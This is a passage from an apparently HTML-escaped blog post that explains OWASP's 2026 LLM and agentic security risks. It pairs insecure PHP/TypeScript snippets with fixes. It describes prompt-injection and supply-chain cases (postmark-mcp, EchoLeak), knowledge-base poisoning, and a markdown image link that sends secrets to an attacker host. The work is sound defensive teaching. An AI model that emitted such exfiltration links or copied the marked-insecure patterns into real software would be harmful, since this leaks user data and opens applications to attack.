    &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function-definition function&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;token class-name type-declaration&quot;&gt;User&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function-definition function&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword return-type&quot;&gt;string&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;Status of one of the current user\&amp;#39;s orders.&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function-definition function&quot;&gt;schema&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name type-declaration&quot;&gt;JsonSchema&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$schema&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword return-type&quot;&gt;array&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;order_id&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$schema&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;integer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;required&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function-definition function&quot;&gt;handle&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name type-declaration&quot;&gt;Request&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$request&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword return-type&quot;&gt;string&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;// Authorisation lives in code, not in the prompt&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;orders&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;findOrFail&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$request&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;order_id&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token property&quot;&gt;status&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;llm042026-supply-chain&quot;&gt;LLM04:2026 Supply Chain&lt;/h3&gt;
&lt;p&gt;The integrity of everything you didn’t write: models, adapters, conversions, packages. What’s specific to MCP servers and tool registries moves to the agentic list (ASI04). The textbook case is from September 2025: the unofficial &lt;code&gt;postmark-mcp&lt;/code&gt; package shipped fifteen clean versions, then in &lt;strong&gt;1.0.16&lt;/strong&gt; added one line that BCC’d every email to an attacker’s domain.&lt;/p&gt;
&lt;pre class=&quot;language-jsonc&quot; data-language=&quot;jsonc&quot;&gt;&lt;code class=&quot;language-jsonc&quot;&gt;// ❌ With a range, `npm install` would have pulled the malicious 1.0.16
&amp;quot;postmark-mcp&amp;quot;: &amp;quot;^1.0.0&amp;quot;

// ✅ Exact version, lockfile, `npm ci` in CI, and read the diff before upgrading
&amp;quot;postmark-mcp&amp;quot;: &amp;quot;1.0.15&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;llm052026-data-and-model-poisoning&quot;&gt;LLM05:2026 Data and Model Poisoning&lt;/h3&gt;
&lt;p&gt;Someone slips in manipulated data or artifacts to bias the model or plant a backdoor: in training, fine-tuning, embeddings or a RAG knowledge base. In an ordinary app, the most common door is letting what a visitor writes flow straight into what the bot will use to answer everyone else.&lt;/p&gt;
&lt;pre class=&quot;language-php&quot; data-language=&quot;php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ❌ A visitor&amp;#39;s &amp;quot;correction&amp;quot; goes straight into the knowledge base&lt;/span&gt;
&lt;span class=&quot;token class-name static-context&quot;&gt;KnowledgeEntry&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;body&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$request&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;correction&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// ✅ Quarantine with provenance; only a person promotes it&lt;/span&gt;
&lt;span class=&quot;token class-name static-context&quot;&gt;KnowledgeEntry&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;body&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$request&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;correction&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;status&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;pending&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;source&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;visitor&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;source_ip&amp;#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$request&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;ip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;llm062026-unbounded-consumption&quot;&gt;LLM06:2026 Unbounded Consumption&lt;/h3&gt;
&lt;p&gt;Uncontrolled inference: denial of service, model cloning, or &lt;em&gt;denial of wallet&lt;/em&gt;. What sets it apart is &lt;strong&gt;cost asymmetry&lt;/strong&gt;: a request costs the attacker nothing and costs you tokens. OWASP says per-request rate limiting &lt;em&gt;“is no longer sufficient”&lt;/em&gt; and asks for hard spending caps. The most common mistake is limiting on a key the client chooses.&lt;/p&gt;
&lt;pre class=&quot;language-php&quot; data-language=&quot;php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ❌ Throttle keyed on what the client sends: a fresh id per request walks right through&lt;/span&gt;
&lt;span class=&quot;token class-name static-context&quot;&gt;RateLimiter&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;attempt&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;chat:&amp;#39;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$request&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;session_id&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;answer&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$request&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// ✅ Caps that don&amp;#39;t depend on the client: per site per day, and tokens per reply&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;token class-name static-context&quot;&gt;RateLimiter&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;attempt&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string double-quoted-string&quot;&gt;&amp;quot;chat:site:&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$site&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;:&amp;quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toDateString&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;300&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;86400&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;cannedReply&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// fixed reply, no model call&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// and on the agent: #[MaxTokens(1500)]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;llm072026-misinformation&quot;&gt;LLM07:2026 Misinformation&lt;/h3&gt;
&lt;p&gt;A false but credible output that someone acts on, be it a person, a workflow or another agent: &lt;em&gt;“The core risk is that the incorrect output is trusted and acted upon.”&lt;/em&gt; If your system cites sources, the defence is checking each citation against its source, not asking the model to be careful.&lt;/p&gt;
&lt;pre class=&quot;language-ts&quot; data-language=&quot;ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ✅ A citation only counts if the literal passage is on the page, re-read&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; page &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fetchAsMarkdown&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;claim&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// deterministic conversion, no LLM&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;normalize&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;page&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;normalize&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;claim&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;passage&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; rejected&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;claim&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;llm082026-hidden-context-exposure&quot;&gt;LLM08:2026 Hidden Context Exposure&lt;/h3&gt;
&lt;p&gt;It used to be System Prompt Leakage, and now covers all hidden context: instructions, retrieved policies, tool schemas. The design rule is to assume &lt;strong&gt;all of it can be extracted&lt;/strong&gt;. The prompt must carry no secrets and must not act as an authorisation boundary.&lt;/p&gt;
&lt;pre class=&quot;language-php&quot; data-language=&quot;php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ❌ A secret and a business rule in the system prompt&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string double-quoted-string&quot;&gt;&amp;quot;Use token &lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$crmToken&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;. If the user says VIP2026, apply a 30% discount.&amp;quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// ✅ The prompt is public by design; the server validates the discount&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;You are the support assistant. Answer only from the knowledge base.&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;token variable&quot;&gt;$discount&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token class-name static-context&quot;&gt;Coupon&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;validFor&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token variable&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token variable&quot;&gt;$code&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;llm092026-vector-and-embedding-weaknesses&quot;&gt;LLM09:2026 Vector and Embedding Weaknesses&lt;/h3&gt;
&lt;p&gt;The risks in the similarity layer: RAG, vector memory, semantic caches. OWASP puts it in one line: &lt;em&gt;“Poisoning makes the system wrong, inversion makes it leak, jamming makes it silent, and access-control failure makes it indiscriminate.”&lt;/em&gt; The access failure is the easiest one to commit: search the whole index and filter afterwards.&lt;/p&gt;
&lt;pre class=&quot;language-ts&quot; data-language=&quot;ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ❌ Similarity over the WHOLE index, tenant filter applied later in the app&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// ✅ The tenant filter goes INSIDE the vector query (pgvector)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; pool&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;token string&quot;&gt;&amp;#39;SELECT id, body FROM chunks WHERE tenant_id = $1 ORDER BY embedding &amp;lt;=&amp;gt; $2 LIMIT 5&amp;#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;tenantId&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;toSql&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;queryEmbedding&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;llm102026-improper-output-handling&quot;&gt;LLM10:2026 Improper Output Handling&lt;/h3&gt;
&lt;p&gt;Passing model output to another component without validating or escaping it: XSS, SSRF, remote code execution. It’s the biggest faller in the ranking, yet there’s a very Laravel trap. &lt;strong&gt;&lt;code&gt;Str::markdown()&lt;/code&gt; isn’t safe for LLM text out of the box&lt;/strong&gt;, because CommonMark defaults &lt;code&gt;html_input&lt;/code&gt; to &lt;code&gt;allow&lt;/code&gt; and &lt;code&gt;allow_unsafe_links&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;. Another route the 2026 edition details is image exfiltration: the model writes &lt;code&gt;![](https://attacker/?q=&amp;lt;secret&amp;gt;)&lt;/code&gt; and the browser loads it on its own.&lt;/p&gt;
&lt;pre class=&quot;language-php&quot; data-language=&quot;php&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;--&lt;/span&gt; ❌ CommonMark&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;s defaults let raw HTML and javascript: links through --}}
{!! Str::markdown($llmAnswer) !!}

{{-- ✅ --}}
{!! Str::markdown($llmAnswer, [&amp;#39;&lt;/span&gt;html_input&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39; =&amp;gt; &amp;#39;&lt;/span&gt;strip&lt;span class=&quot;token string single-quoted-string&quot;&gt;&amp;#39;, &amp;#39;&lt;/span&gt;allow_unsafe_links&amp;#39; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;language-ts&quot; data-language=&quot;ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ✅ On the client: sanitise what gets rendered, plus a CSP with a strict img-src&lt;/span&gt;
el&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;innerHTML &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; DOMPurify&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sanitize&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; marked&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;answer&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;the-ten-in-the-agentic-list-asi01-asi10&quot;&gt;The ten in the agentic list (ASI01-ASI10)&lt;/h2&gt;
&lt;p&gt;This list starts where the model stops answering and starts acting: it plans over several steps, calls tools, and sometimes talks to other agents.&lt;/p&gt;
&lt;h3 id=&quot;asi01-agent-goal-hijack&quot;&gt;ASI01 Agent Goal Hijack&lt;/h3&gt;
&lt;p&gt;Content the agent reads (a page, an email, a tool’s output) changes its goal or plan. Unlike LLM01, the damage doesn’t stay in one reply: it carries across every step. OWASP’s example is EchoLeak (CVE-2025-32711): a single email, with no click from anyone, led Microsoft 365 Copilot to exfiltrate internal data. The structural defence is that the agent reading third-party content &lt;strong&gt;has no outbound tools&lt;/strong&gt;.&lt;/p&gt;
&lt;pre class=&quot;language-ts&quot; data-language=&quot;ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ✅ The agent that reads third-party web pages can&amp;#39;t send anything anywhere&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; readerTools &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;search&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; readPage&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;                        &lt;span class=&quot;token comment&quot;&gt;// no sendEmail, writeFile or httpPost&lt;/span&gt;
